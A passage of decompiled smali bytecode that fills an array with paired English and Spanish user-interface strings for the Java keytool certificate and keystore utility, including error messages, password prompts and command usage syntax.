                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "Entrada vac\u00eda"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "No es un certificado X.509"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "No se puede derivar el algoritmo de firma"
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} no tiene clave p\u00fablica"
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} no tiene certificado X.509"
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "Nuevo certificado (autofirmado):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "La respuesta no tiene certificados"
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "Certificado no importado, el alias <{0}> ya existe"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "La entrada no es un certificado X.509"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "El certificado ya existe en el almac\u00e9n de claves con el alias <{0}>"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "\u00bfA\u00fan desea agregarlo? [no]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
                                                                              918const-string v3, "El certificado ya existe en el almac\u00e9n de claves de la CA del sistema, con el alias <{0}>"
                                                                              919aput-object v3, v2, v5
                                                                              920aput-object v2, v0, v1
                                                                              921const/16 v1, 0x66
                                                                              922new-array v2, v6, [Ljava/lang/Object;
                                                                              924const-string v3, "Do you still want to add it to your own keystore? [no]: "
                                                                              925aput-object v3, v2, v4
                                                                              927const-string v3, "\u00bfA\u00fan desea agregarlo a su propio almac\u00e9n de claves? [no]: "
                                                                              928aput-object v3, v2, v5
                                                                              929aput-object v2, v0, v1
                                                                              930const/16 v1, 0x67
                                                                              931new-array v2, v6, [Ljava/lang/Object;
                                                                              933const-string v3, "Trust this certificate? [no]: "
                                                                              934aput-object v3, v2, v4
                                                                              936const-string v3, "\u00bfConfiar en este certificado? [no]: "
                                                                              937aput-object v3, v2, v5
                                                                              938aput-object v2, v0, v1
                                                                              939const/16 v1, 0x68
                                                                              940new-array v2, v6, [Ljava/lang/Object;
                                                                              942const-string v3, "YES"
                                                                              943aput-object v3, v2, v4
                                                                              945const-string v3, "S\u00cd"
                                                                              946aput-object v3, v2, v5
                                                                              947aput-object v2, v0, v1
                                                                              948const/16 v1, 0x69
                                                                              949new-array v2, v6, [Ljava/lang/Object;
                                                                              951const-string v3, "New prompt: "
                                                                              952aput-object v3, v2, v4
                                                                              954const-string v3, "Nuevo {0}: "
                                                                              955aput-object v3, v2, v5
                                                                              956aput-object v2, v0, v1
                                                                              957const/16 v1, 0x6a
                                                                              958new-array v2, v6, [Ljava/lang/Object;
                                                                              960const-string v3, "Passwords must differ"
                                                                              961aput-object v3, v2, v4
                                                                              963const-string v3, "Las contrase\u00f1as deben ser distintas"
                                                                              964aput-object v3, v2, v5
                                                                              965aput-object v2, v0, v1
                                                                              966const/16 v1, 0x6b
                                                                              967new-array v2, v6, [Ljava/lang/Object;
                                                                              969const-string v3, "Re-enter new prompt: "
                                                                              970aput-object v3, v2, v4
                                                                              972const-string v3, "Vuelva a escribir el nuevo {0}: "
                                                                              973aput-object v3, v2, v5
                                                                              974aput-object v2, v0, v1
                                                                              975const/16 v1, 0x6c
                                                                              976new-array v2, v6, [Ljava/lang/Object;
                                                                              978const-string v3, "Re-enter new password: "
                                                                              979aput-object v3, v2, v4
                                                                              981const-string v3, "Volver a escribir la contrase\u00f1a nueva: "
                                                                              982aput-object v3, v2, v5
                                                                              983aput-object v2, v0, v1
                                                                              984const/16 v1, 0x6d
                                                                              985new-array v2, v6, [Ljava/lang/Object;
                                                                              987const-string v3, "They don\'t match. Try again"
                                                                              988aput-object v3, v2, v4
                                                                              990const-string v3, "No coinciden. Int\u00e9ntelo de nuevo"
                                                                              991aput-object v3, v2, v5
                                                                              992aput-object v2, v0, v1
                                                                              993const/16 v1, 0x6e
                                                                              994new-array v2, v6, [Ljava/lang/Object;
                                                                              996const-string v3, "Enter prompt alias name: "
                                                                              997aput-object v3, v2, v4
                                                                              999const-string v3, "Escriba el nombre de alias de {0}: "
                                                                              1000aput-object v3, v2, v5
                                                                              1001aput-object v2, v0, v1
                                                                              1002const/16 v1, 0x6f
                                                                              1003new-array v2, v6, [Ljava/lang/Object;
                                                                              1005const-string v3, "Enter new alias name\t(RETURN to cancel import for this entry): "
                                                                              1006aput-object v3, v2, v4
                                                                              1008const-string v3, "Indique el nuevo nombre de alias\t(INTRO para cancelar la importaci\u00f3n de esta entrada): "
                                                                              1009aput-object v3, v2, v5
                                                                              1010aput-object v2, v0, v1
                                                                              1011const/16 v1, 0x70
                                                                              1012new-array v2, v6, [Ljava/lang/Object;
                                                                              1014const-string v3, "Enter alias name: "
                                                                              1015aput-object v3, v2, v4
                                                                              1017const-string v3, "Escriba el nombre de alias: "
                                                                              1018aput-object v3, v2, v5
                                                                              1019aput-object v2, v0, v1
                                                                              1020const/16 v1, 0x71
                                                                              1021new-array v2, v6, [Ljava/lang/Object;
                                                                              1023const-string v3, "\t(RETURN if same as for <otherAlias>)"
                                                                              1024aput-object v3, v2, v4
                                                                              1026const-string v3, "\t(INTRO si es el mismo que para <{0}>)"
                                                                              1027aput-object v3, v2, v5
                                                                              1028aput-object v2, v0, v1
                                                                              1029const/16 v1, 0x72
                                                                              1030new-array v2, v6, [Ljava/lang/Object;
                                                                              1032const-string v3, "*PATTERN* printX509Cert"
                                                                              1033aput-object v3, v2, v4
                                                                              1035const-string v3, "Propietario: {0}\nEmisor: {1}\nN\u00famero de serie: {2}\nV\u00e1lido desde: {3} hasta: {4}\nHuellas digitales del certificado:\n\t MD5: {5}\n\t SHA1: {6}\n\t Nombre del algoritmo de firma: {7}\n\t Versi\u00f3n: {8}"
                                                                              1036aput-object v3, v2, v5
                                                                              1037aput-object v2, v0, v1
                                                                              1038const/16 v1, 0x73
                                                                              1039new-array v2, v6, [Ljava/lang/Object;
                                                                              1041const-string v3, "What is your first and last name?"
                                                                              1042aput-object v3, v2, v4
                                                                              1044const-string v3, "\u00bfCu\u00e1les son su nombre y su apellido?"
                                                                              1045aput-object v3, v2, v5
                                                                              1046aput-object v2, v0, v1
                                                                              1047const/16 v1, 0x74
                                                                              1048new-array v2, v6, [Ljava/lang/Object;
                                                                              1050const-string v3, "What is the name of your organizational unit?"
                                                                              1051aput-object v3, v2, v4
                                                                              1053const-string v3, "\u00bfCu\u00e1l es el nombre de su unidad de organizaci\u00f3n?"
                                                                              1054aput-object v3, v2, v5
                                                                              1055aput-object v2, v0, v1
                                                                              1056const/16 v1, 0x75
                                                                              1057new-array v2, v6, [Ljava/lang/Object;
                                                                              1059const-string v3, "What is the name of your organization?"
                                                                              1060aput-object v3, v2, v4
                                                                              1062const-string v3, "\u00bfCu\u00e1l es el nombre de su organizaci\u00f3n?"
                                                                              1063aput-object v3, v2, v5
                                                                              1064aput-object v2, v0, v1
                                                                              1065const/16 v1, 0x76
                                                                              1066new-array v2, v6, [Ljava/lang/Object;
                                                                              1068const-string v3, "What is the name of your City or Locality?"
                                                                              1069aput-object v3, v2, v4
                                                                              1071const-string v3, "\u00bfCu\u00e1l es el nombre de su ciudad o localidad?"
                                                                              1072aput-object v3, v2, v5
                                                                              1073aput-object v2, v0, v1
                                                                              1074const/16 v1, 0x77
                                                                              1075new-array v2, v6, [Ljava/lang/Object;
                                                                              1077const-string v3, "What is the name of your State or Province?"
                                                                              1078aput-object v3, v2, v4
                                                                              1080const-string v3, "\u00bfCu\u00e1l es el nombre de su estado o provincia?"
                                                                              1081aput-object v3, v2, v5
                                                                              1082aput-object v2, v0, v1
                                                                              1083const/16 v1, 0x78
                                                                              1084new-array v2, v6, [Ljava/lang/Object;
                                                                              1086const-string v3, "What is the two-letter country code for this unit?"
                                                                              1087aput-object v3, v2, v4
                                                                              1089const-string v3, "\u00bfCu\u00e1l es el c\u00f3digo de pa\u00eds de dos letras de la unidad?"
                                                                              1090aput-object v3, v2, v5
                                                                              1091aput-object v2, v0, v1
                                                                              1092const/16 v1, 0x79
                                                                              1093new-array v2, v6, [Ljava/lang/Object;
                                                                              1095const-string v3, "Is <name> correct?"
                                                                              1096aput-object v3, v2, v4
                                                                              1098const-string v3, "\u00bfEs correcto {0}?"
                                                                              1099aput-object v3, v2, v5
                                                                              1100aput-object v2, v0, v1
                                                                              1101const/16 v1, 0x7a
                                                                              1102new-array v2, v6, [Ljava/lang/Object;
                                                                              1104const-string v3, "no"
                                                                              1105aput-object v3, v2, v4
                                                                              1107const-string v3, "no"
                                                                              1108aput-object v3, v2, v5
                                                                              1109aput-object v2, v0, v1
                                                                              1110const/16 v1, 0x7b
                                                                              1111new-array v2, v6, [Ljava/lang/Object;
                                                                              1113const-string v3, "yes"
                                                                              1114aput-object v3, v2, v4
                                                                              1116const-string v3, "s\u00ed"
                                                                              1117aput-object v3, v2, v5
                                                                              1118aput-object v2, v0, v1
                                                                              1119const/16 v1, 0x7c
                                                                              1120new-array v2, v6, [Ljava/lang/Object;
                                                                              1122const-string v3, "y"
                                                                              1123aput-object v3, v2, v4
                                                                              1125const-string v3, "y"
                                                                              1126aput-object v3, v2, v5
                                                                              1127aput-object v2, v0, v1
                                                                              1128const/16 v1, 0x7d
                                                                              1129new-array v2, v6, [Ljava/lang/Object;
                                                                              1131const-string v3, " [defaultValue]: "
                                                                              1132aput-object v3, v2, v4
                                                                              1134const-string v3, " [{0}]: "
                                                                              1135aput-object v3, v2, v5
                                                                              1136aput-object v2, v0, v1
                                                                              1137const/16 v1, 0x7e
                                                                              1138new-array v2, v6, [Ljava/lang/Object;
                                                                              1140const-string v3, "Alias <alias> has no key"
                                                                              1141aput-object v3, v2, v4
                                                                              1143const-string v3, "El alias <{0}> no tiene clave"
                                                                              1144aput-object v3, v2, v5
                                                                              1145aput-object v2, v0, v1
                                                                              1146const/16 v1, 0x7f
                                                                              1147new-array v2, v6, [Ljava/lang/Object;
                                                                              1149const-string v3, "Alias <alias> references an entry type that is not a private key entry. The -keyclone command only supports cloning of private key entries"
                                                                              1150aput-object v3, v2, v4
                                                                              1152const-string v3, "El alias <{0}> hace referencia a un tipo de entrada que no es una clave privada. El comando -keyclone s\u00f3lo permite la clonaci\u00f3n de entradas de claves privadas"
                                                                              1153aput-object v3, v2, v5
                                                                              1154aput-object v2, v0, v1
                                                                              1155const/16 v1, 0x80
                                                                              1156new-array v2, v6, [Ljava/lang/Object;
                                                                              1158const-string v3, "***************** WARNING WARNING WARNING *****************"
                                                                              1159aput-object v3, v2, v4
                                                                              1161const-string v3, "***************** ADVERTENCIA ADVERTENCIA ADVERTENCIA *****************"
                                                                              1162aput-object v3, v2, v5
                                                                              1163aput-object v2, v0, v1
                                                                              1164const/16 v1, 0x81
                                                                              1165new-array v2, v6, [Ljava/lang/Object;
                                                                              1167const-string v3, "* The integrity of the information stored in your keystore *"
                                                                              1168aput-object v3, v2, v4
                                                                              1170const-string v3, "* La integridad de la informaci\u00f3n almacenada en su almac\u00e9n de claves *"
                                                                              1171aput-object v3, v2, v5
                                                                              1172aput-object v2, v0, v1
                                                                              1173const/16 v1, 0x82
                                                                              1174new-array v2, v6, [Ljava/lang/Object;
                                                                              1176const-string v3, "* The integrity of the information stored in the srckeystore*"
                                                                              1177aput-object v3, v2, v4
                                                                              1179const-string v3, "* La totalidad de la informaci\u00f3n almacenada en srckeystore*"
                                                                              1180aput-object v3, v2, v5
                                                                              1181aput-object v2, v0, v1
                                                                              1182const/16 v1, 0x83
                                                                              1183new-array v2, v6, [Ljava/lang/Object;
                                                                              1185const-string v3, "* has NOT been verified! In order to verify its integrity, *"
                                                                              1186aput-object v3, v2, v4
                                                                              1188const-string v3, "* NO se ha comprobado. Para comprobar dicha integridad, *"
                                                                              1189aput-object v3, v2, v5
                                                                              1190aput-object v2, v0, v1
                                                                              1191const/16 v1, 0x84
                                                                              1192new-array v2, v6, [Ljava/lang/Object;
                                                                              1194const-string v3, "* you must provide your keystore password. *"
                                                                              1195aput-object v3, v2, v4
                                                                              1197const-string v3, "deber\u00e1 proporcionar su contrase\u00f1a de almac\u00e9n de claves. *"
                                                                              1198aput-object v3, v2, v5
                                                                              1199aput-object v2, v0, v1
                                                                              1200const/16 v1, 0x85
                                                                              1201new-array v2, v6, [Ljava/lang/Object;
                                                                              1203const-string v3, "* you must provide the srckeystore password. *"
                                                                              1204aput-object v3, v2, v4
                                                                              1206const-string v3, "* se debe indicar la contrase\u00f1a de srckeystore. *"
                                                                              1207aput-object v3, v2, v5
                                                                              1208aput-object v2, v0, v1
                                                                              1209const/16 v1, 0x86
                                                                              1210new-array v2, v6, [Ljava/lang/Object;
                                                                              1212const-string v3, "Certificate reply does not contain public key for <alias>"
                                                                              1213aput-object v3, v2, v4
                                                                              1215const-string v3, "La respuesta de certificado no contiene una clave p\u00fablica para <{0}>"
                                                                              1216aput-object v3, v2, v5
                                                                              1217aput-object v2, v0, v1
                                                                              1218const/16 v1, 0x87
                                                                              1219new-array v2, v6, [Ljava/lang/Object;
                                                                              1221const-string v3, "Incomplete certificate chain in reply"
                                                                              1222aput-object v3, v2, v4
                                                                              1224const-string v3, "Cadena de certificado incompleta en la respuesta"
                                                                              1225aput-object v3, v2, v5
                                                                              1226aput-object v2, v0, v1
                                                                              1227const/16 v1, 0x88
                                                                              1228new-array v2, v6, [Ljava/lang/Object;
                                                                              1230const-string v3, "Certificate chain in reply does not verify: "
                                                                              1231aput-object v3, v2, v4
                                                                              1233const-string v3, "La cadena de certificado de la respuesta no verifica: "
                                                                              1234aput-object v3, v2, v5
                                                                              1235aput-object v2, v0, v1
                                                                              1236const/16 v1, 0x89
                                                                              1237new-array v2, v6, [Ljava/lang/Object;
                                                                              1239const-string v3, "Top-level certificate in reply:\n"
                                                                              1240aput-object v3, v2, v4
                                                                              1242const-string v3, "Certificado de nivel superior en la respuesta:\n"
                                                                              1243aput-object v3, v2, v5
                                                                              1244aput-object v2, v0, v1
                                                                              1245const/16 v1, 0x8a
                                                                              1246new-array v2, v6, [Ljava/lang/Object;
                                                                              1248const-string v3, "... is not trusted. "
                                                                              1249aput-object v3, v2, v4
                                                                              1251const-string v3, "... no es de confianza. "
                                                                              1252aput-object v3, v2, v5
                                                                              1253aput-object v2, v0, v1
                                                                              1254const/16 v1, 0x8b
                                                                              1255new-array v2, v6, [Ljava/lang/Object;
                                                                              1257const-string v3, "Install reply anyway? [no]: "
                                                                              1258aput-object v3, v2, v4
                                                                              1260const-string v3, "\u00bfinstalar respuesta de todos modos? [no]: "
                                                                              1261aput-object v3, v2, v5
                                                                              1262aput-object v2, v0, v1
                                                                              1263const/16 v1, 0x8c
                                                                              1264new-array v2, v6, [Ljava/lang/Object;
                                                                              1266const-string v3, "NO"
                                                                              1267aput-object v3, v2, v4
                                                                              1269const-string v3, "NO"
                                                                              1270aput-object v3, v2, v5
                                                                              1271aput-object v2, v0, v1
                                                                              1272const/16 v1, 0x8d
                                                                              1273new-array v2, v6, [Ljava/lang/Object;
                                                                              1275const-string v3, "Public keys in reply and keystore don\'t match"
                                                                              1276aput-object v3, v2, v4
                                                                              1278const-string v3, "Las claves p\u00fablicas en la respuesta y en el almac\u00e9n de claves no coinciden"
                                                                              1279aput-object v3, v2, v5
                                                                              1280aput-object v2, v0, v1
                                                                              1281const/16 v1, 0x8e
                                                                              1282new-array v2, v6, [Ljava/lang/Object;
                                                                              1284const-string v3, "Certificate reply and certificate in keystore are identical"
                                                                              1285aput-object v3, v2, v4
                                                                              1287const-string v3, "La respuesta del certificado y el certificado en el almac\u00e9n de claves son id\u00e9nticos"
                                                                              1288aput-object v3, v2, v5
                                                                              1289aput-object v2, v0, v1
                                                                              1290const/16 v1, 0x8f
                                                                              1291new-array v2, v6, [Ljava/lang/Object;
                                                                              1293const-string v3, "Failed to establish chain from reply"
                                                                              1294aput-object v3, v2, v4
                                                                              1296const-string v3, "No se ha podido establecer una cadena a partir de la respuesta"
                                                                              1297aput-object v3, v2, v5
                                                                              1298aput-object v2, v0, v1
                                                                              1299const/16 v1, 0x90
                                                                              1300new-array v2, v6, [Ljava/lang/Object;
                                                                              1302const-string v3, "n"
                                                                              1303aput-object v3, v2, v4
                                                                              1305const-string v3, "n"
                                                                              1306aput-object v3, v2, v5
                                                                              1307aput-object v2, v0, v1
                                                                              1308const/16 v1, 0x91
                                                                              1309new-array v2, v6, [Ljava/lang/Object;
                                                                              1311const-string v3, "Wrong answer, try again"
                                                                              1312aput-object v3, v2, v4
                                                                              1314const-string v3, "Respuesta incorrecta, vuelva a intentarlo"
                                                                              1315aput-object v3, v2, v5
                                                                              1316aput-object v2, v0, v1
                                                                              1317const/16 v1, 0x92
                                                                              1318new-array v2, v6, [Ljava/lang/Object;
                                                                              1320const-string v3, "Secret key not generated, alias <alias> already exists"
                                                                              1321aput-object v3, v2, v4
                                                                              1323const-string v3, "No se ha generado la clave secreta, el alias <{0}> ya existe"
                                                                              1324aput-object v3, v2, v5
                                                                              1325aput-object v2, v0, v1
                                                                              1326const/16 v1, 0x93
                                                                              1327new-array v2, v6, [Ljava/lang/Object;
                                                                              1329const-string v3, "Please provide -keysize for secret key generation"
                                                                              1330aput-object v3, v2, v4
                                                                              1332const-string v3, "Proporcione el valor de -keysize para la generaci\u00f3n de claves secretas"
                                                                              1333aput-object v3, v2, v5
                                                                              1334aput-object v2, v0, v1
                                                                              1335const/16 v1, 0x94
                                                                              1336new-array v2, v6, [Ljava/lang/Object;
                                                                              1338const-string v3, "keytool usage:\n"
                                                                              1339aput-object v3, v2, v4
                                                                              1341const-string v3, "sintaxis de keytool:\n"
                                                                              1342aput-object v3, v2, v5
                                                                              1343aput-object v2, v0, v1
                                                                              1344const/16 v1, 0x95
                                                                              1345new-array v2, v6, [Ljava/lang/Object;
                                                                              1347const-string v3, "Extensions: "
                                                                              1348aput-object v3, v2, v4
                                                                              1350const-string v3, "Extensiones: "
                                                                              1351aput-object v3, v2, v5
                                                                              1352aput-object v2, v0, v1
                                                                              1353const/16 v1, 0x96
                                                                              1354new-array v2, v6, [Ljava/lang/Object;
                                                                              1356const-string v3, "-certreq [-v] [-protected]"
                                                                              1357aput-object v3, v2, v4
                                                                              1359const-string v3, "-certreq [-v] [-protected]"
                                                                              1360aput-object v3, v2, v5
                                                                              1361aput-object v2, v0, v1
                                                                              1362const/16 v1, 0x97
                                                                              1363new-array v2, v6, [Ljava/lang/Object;
                                                                              1365const-string v3, "\t [-alias <alias>] [-sigalg <sigalg>]"
                                                                              1366aput-object v3, v2, v4
                                                                              1368const-string v3, "\t [-alias <alias>] [-sigalg <algoritmo_firma>]"
                                                                              1369aput-object v3, v2, v5
                                                                              1370aput-object v2, v0, v1
                                                                              1371const/16 v1, 0x98
                                                                              1372new-array v2, v6, [Ljava/lang/Object;
                                                                              1374const-string v3, "\t [-file <csr_file>] [-keypass <keypass>]"
                                                                              1375aput-object v3, v2, v4
                                                                              1377const-string v3, "\t [-file <archivo_csr>] [-keypass <contrase\u00f1a_clave>]"
                                                                              1378aput-object v3, v2, v5
                                                                              1379aput-object v2, v0, v1
                                                                              1380const/16 v1, 0x99
                                                                              1381new-array v2, v6, [Ljava/lang/Object;
                                                                              1383const-string v3, "\t [-keystore <keystore>] [-storepass <storepass>]"
                                                                              1384aput-object v3, v2, v4
                                                                              1386const-string v3, "\t [-keystore <almac\u00e9n_claves>] [-storepass <contrase\u00f1a_almac\u00e9n>]"
                                                                              1387aput-object v3, v2, v5
                                                                              1388aput-object v2, v0, v1
                                                                              1389const/16 v1, 0x9a
                                                                              1390new-array v2, v6, [Ljava/lang/Object;
                                                                              1392const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1393aput-object v3, v2, v4
                                                                              1395const-string v3, "\t [-storetype <storetype>] [-providername <name>]"
                                                                              1396aput-object v3, v2, v5
                                                                              1397aput-object v2, v0, v1
                                                                              1398const/16 v1, 0x9b
                                                                              1399new-array v2, v6, [Ljava/lang/Object;
                                                                              1401const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1402aput-object v3, v2, v4
                                                                              1404const-string v3, "\t [-providerclass <provider_class_name> [-providerarg <arg>]] ..."
                                                                              1405aput-object v3, v2, v5
                                                                              1406aput-object v2, v0, v1
                                                                              1407const/16 v1, 0x9c
                                                                              1408new-array v2, v6, [Ljava/lang/Object;
                                                                              1410const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1411aput-object v3, v2, v4
                                                                              1413const-string v3, "\t [-providerpath <pathlist>]"
                                                                              1414aput-object v3, v2, v5
                                                                              1415aput-object v2, v0, v1
                                                                              1416const/16 v1, 0x9d
                                                                              1417new-array v2, v6, [Ljava/lang/Object;
                                                                              1419const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1420aput-object v3, v2, v4
                                                                              1422const-string v3, "-delete [-v] [-protected] -alias <alias>"
                                                                              1423aput-object v3, v2, v5
                                                                              1424aput-object v2, v0, v1
                                                                              1425const/16 v1, 0x9e
                                                                              1426new-array v2, v6, [Ljava/lang/Object;
                                                                              1428const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1429aput-object v3, v2, v4
                                                                              1431const-string v3, "-exportcert [-v] [-rfc] [-protected]"
                                                                              1432aput-object v3, v2, v5
                                                                              1433aput-object v2, v0, v1
                                                                              1434const/16 v1, 0x9f
                                                                              1435new-array v2, v6, [Ljava/lang/Object;
                                                                              1437const-string v3, "\t [-alias <alias>] [-file <cert_file>]"
                                                                              1438aput-object v3, v2, v4
                                                                              1440const-string v3, "\t [-alias <alias>] [-file <archivo_cert>]"
                                                                              1441aput-object v3, v2, v5
                                                                              1442aput-object v2, v0, v1
                                                                              1443const/16 v1, 0xa0
                                                                              1444new-array v2, v6, [Ljava/lang/Object;
                                                                              1446const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1447aput-object v3, v2, v4
                                                                              1449const-string v3, "-genkeypair [-v] [-protected]"
                                                                              1450aput-object v3, v2, v5
                                                                              1451aput-object v2, v0, v1
                                                                              1452const/16 v1, 0xa1
                                                                              1453new-array v2, v6, [Ljava/lang/Object;
                                                                              1455const-string v3, "\t [-alias <alias>]"
                                                                              1456aput-object v3, v2, v4
                                                                              1458const-string v3, "\t [-alias <alias>]"
                                                                              1459aput-object v3, v2, v5
                                                                              1460aput-object v2, v0, v1
                                                                              1461const/16 v1, 0xa2
                                                                              1462new-array v2, v6, [Ljava/lang/Object;
                                                                              1464const-string v3, "\t [-keyalg <keyalg>] [-keysize <keysize>]"
                                                                              1465aput-object v3, v2, v4
                                                                              1467const-string v3, "\t [-keyalg <algoritmo_clave>] [-keysize <tama\u00f1o_clave>]"
                                                                              1468aput-object v3, v2, v5
                                                                              1469aput-object v2, v0, v1
                                                                              1470const/16 v1, 0xa3
                                                                              1471new-array v2, v6, [Ljava/lang/Object;
                                                                              1473const-string v3, "\t [-sigalg <sigalg>] [-dname <dname>]"
                                                                              1474aput-object v3, v2, v4
                                                                              1476const-string v3, "\t [-sigalg <algoritmo_firma>] [-dname <nombre_d>]"
                                                                              1477aput-object v3, v2, v5
                                                                              1478aput-object v2, v0, v1
                                                                              1479const/16 v1, 0xa4
                                                                              1480new-array v2, v6, [Ljava/lang/Object;
                                                                              1482const-string v3, "\t [-validity <valDays>] [-keypass <keypass>]"
                                                                              1483aput-object v3, v2, v4
                                                                              1485const-string v3, "\t [-validity <d\u00edas_validez>] [-keypass <contrase\u00f1a_clave>]"
                                                                              1486aput-object v3, v2, v5
                                                                              1487aput-object v2, v0, v1
                                                                              1488const/16 v1, 0xa5
                                                                              1489new-array v2, v6, [Ljava/lang/Object;
                                                                              1491const-string v3, "-genseckey [-v] [-protected]"
                                                                              1492aput-object v3, v2, v4
                                                                              1494const-string v3, "-genseckey [-v] [-protected]"
                                                                              1495aput-object v3, v2, v5
                                                                              1496aput-object v2, v0, v1
                                                                              1497const/16 v1, 0xa6
                                                                              1498new-array v2, v6, [Ljava/lang/Object;
                                                                              1500const-string v3, "-help"
                                                                              1501aput-object v3, v2, v4
                                                                              1503const-string v3, "-help"
                                                                              1504aput-object v3, v2, v5
                                                                              1505aput-object v2, v0, v1
                                                                              1506const/16 v1, 0xa7
                                                                              1507new-array v2, v6, [Ljava/lang/Object;
                                                                              1509const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1510aput-object v3, v2, v4
                                                                              1512const-string v3, "-importcert [-v] [-noprompt] [-trustcacerts] [-protected]"
                                                                              1513aput-object v3, v2, v5
                                                                              1514aput-object v2, v0, v1
                                                                              1515const/16 v1, 0xa8
                                                                              1516new-array v2, v6, [Ljava/lang/Object;
                                                                              1518const-string v3, "\t [-alias <alias>]"
                                                                              1519aput-object v3, v2, v4
                                                                              1521const-string v3, "\t [-alias <alias>]"
                                                                              1522aput-object v3, v2, v5
                                                                              1523aput-object v2, v0, v1
                                                                              1524const/16 v1, 0xa9
                                                                              1525new-array v2, v6, [Ljava/lang/Object;
                                                                              1527const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1528aput-object v3, v2, v4
                                                                              1530const-string v3, "\t [-alias <alias>] [-keypass <keypass>]"
                                                                              1531aput-object v3, v2, v5
                                                                              1532aput-object v2, v0, v1
                                                                              1533const/16 v1, 0xaa
                                                                              1534new-array v2, v6, [Ljava/lang/Object;
                                                                              1536const-string v3, "\t [-file <cert_file>] [-keypass <keypass>]"
                                                                              1537aput-object v3, v2, v4
                                                                              1539const-string v3, "\t [-file <archivo_cert>] [-keypass <contrase\u00f1a_clave>]"
                                                                              1540aput-object v3, v2, v5
                                                                              1541aput-object v2, v0, v1
                                                                              1542const/16 v1, 0xab
                                                                              1543new-array v2, v6, [Ljava/lang/Object;
                                                                              1545const-string v3, "-importkeystore [-v] "
                                                                              1546aput-object v3, v2, v4
                                                                              1548const-string v3, "-importkeystore [-v] "
                                                                              1549aput-object v3, v2, v5
                                                                              1550aput-object v2, v0, v1
                                                                              1551const/16 v1, 0xac
                                                                              1552new-array v2, v6, [Ljava/lang/Object;
                                                                              1554const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1555aput-object v3, v2, v4
                                                                              1557const-string v3, "\t [-srckeystore <srckeystore>] [-destkeystore <destkeystore>]"
                                                                              1558aput-object v3, v2, v5
                                                                              1559aput-object v2, v0, v1
                                                                              1560const/16 v1, 0xad
                                                                              1561new-array v2, v6, [Ljava/lang/Object;
                                                                              1563const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1564aput-object v3, v2, v4
                                                                              1566const-string v3, "\t [-srcstoretype <srcstoretype>] [-deststoretype <deststoretype>]"
                                                                              1567aput-object v3, v2, v5
                                                                              1568aput-object v2, v0, v1
                                                                              1569const/16 v1, 0xae
                                                                              1570new-array v2, v6, [Ljava/lang/Object;
                                                                              1572const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1573aput-object v3, v2, v4
                                                                              1575const-string v3, "\t [-srcprotected] [-destprotected]"
                                                                              1576aput-object v3, v2, v5
                                                                              1577aput-object v2, v0, v1
                                                                              1578const/16 v1, 0xaf
                                                                              1579new-array v2, v6, [Ljava/lang/Object;
